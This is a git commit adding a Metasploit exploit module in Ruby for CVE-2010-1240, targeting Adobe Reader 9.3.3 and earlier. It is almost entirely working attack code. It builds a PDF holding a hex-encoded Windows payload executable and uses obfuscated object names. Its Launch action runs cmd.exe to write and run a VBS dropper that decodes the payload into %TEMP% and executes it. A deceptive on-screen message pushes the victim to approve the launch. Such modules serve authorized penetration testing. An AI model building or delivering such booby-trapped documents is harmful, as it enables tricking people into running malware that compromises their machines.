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add no-js version of adobe_pdf_embedded_exe from Jeremy Conway
git-svn-id: file:///home/svn/framework3/trunk@10126 4d416f70-5f16-0410-b530-b9f4589650da
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Joshua Drake
parent
f2b30738b1
commit
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@ -0,0 +1,172 @@
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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#
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# Modified version of the Adobe PDF Embedded EXE Social Engineering "adobe_pdf_embedded_exe.rb".
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# This version does not require JavaScript to be enabled and does not required the EXE to be
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# attached to the PDF. The EXE is embedded in the PDF in a non-standard method using HEX
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# encoding.
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#
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# Lots of reused code from adobe_pdf_embedded_exe.rb and the other PDF modules to make the PDF.
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# Thanks to all those that wrote the code for those modules, as I probably could not have
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# wrote this module without borrowing code from them.
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#
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe PDF Escape EXE Social Engineering (No JavaScript)',
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'Description' => %q{
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This module embeds a Metasploit payload into an existing PDF file in
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a non-standard method. The resulting PDF can be sent to a target as
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part of a social engineering attack.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Jeremy Conway <jeremy[at]sudosecure.net>',
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-1240' ],
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[ 'OSVDB', '63667' ],
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[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
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[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
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[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
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],
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'Payload' =>
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{
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'Space' => 2048,
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'DisableNops' => true,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Adobe Reader <= v9.3.3 (Windows XP SP3 English)', { 'Ret' => '' } ]
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],
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('EXENAME', [ false, 'The Name of payload exe.', 'msf.exe']),
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OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
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OptString.new('OUTPUTPATH', [ false, 'The location to output the file.', './data/exploits/']),
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OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
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"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
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], self.class)
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end
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def exploit
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# Create the pdf
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print_status("Making PDF")
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pdf = make_pdf()
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def pdf_exe(payload_exe)
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if !(payload_exe and payload_exe.length > 0)
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print_status("Using '#{datastore['PAYLOAD']}' as payload...")
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payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded)
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hex_payload = Rex::Text.to_hex(payload_exe)
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else
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print_status("Using '#{datastore['EXENAME']}' as payload...")
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hex_payload = Rex::Text.to_hex_dump(payload_exe,16)
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end
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return hex_payload
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end
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def ioDef(id)
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"%d 0 obj" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def make_pdf()
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file_name = datastore['FILENAME']
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exe_name = datastore['EXENAME']
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launch_msg = datastore['LAUNCH_MESSAGE']
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xref = []
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eol = "\x0d\x0a"
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endobj = "endobj" << eol
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pdf = "%PDF-1.5" << eol
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payload_exe = Msf::Util::EXE.to_win32pe(framework,payload.encoded)
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hex_payload = Rex::Text.to_hex(payload_exe)
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pdf << hex_payload << eol
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pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
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xref << pdf.length
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pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
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xref << pdf.length
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pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
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xref << pdf.length
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pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
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xref << pdf.length
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pdf << ioDef(5) << nObfu("<</Type/Action/S/Launch/Win ") << "<< "
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pdf << "/F (cmd.exe) /P (/C echo Set o=CreateObject^(\"Scripting.FileSystemObject\"^):Set f=o.OpenTextFile^(\"#{file_name}\",1,True^):"
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pdf << "f.SkipLine:Set w=CreateObject^(\"WScript.Shell\"^):Set g=o.OpenTextFile^(w.ExpandEnvironmentStrings^(\"%TEMP%\"^)+\"\\\\#{exe_name}\",2,True^):a=Split^(Trim^(Replace^(f.ReadLine,\"\\\\x\",\" \"^)^)^):"
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pdf << "for each x in a:g.Write^(Chr^(\"&h\" ^& x^)^):next:g.Close:f.Close > 1.vbs && cscript //B 1.vbs && start %TEMP%\\\\#{exe_name} && del /F 1.vbs"
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pdf << eol << eol << eol << "#{launch_msg})"
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pdf << ">>>>" << endobj
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xref << pdf.length
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
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pdf << "startxref" << eol
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pdf << xrefPosition.to_s() << eol
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pdf << "%%EOF" << eol
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end
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end
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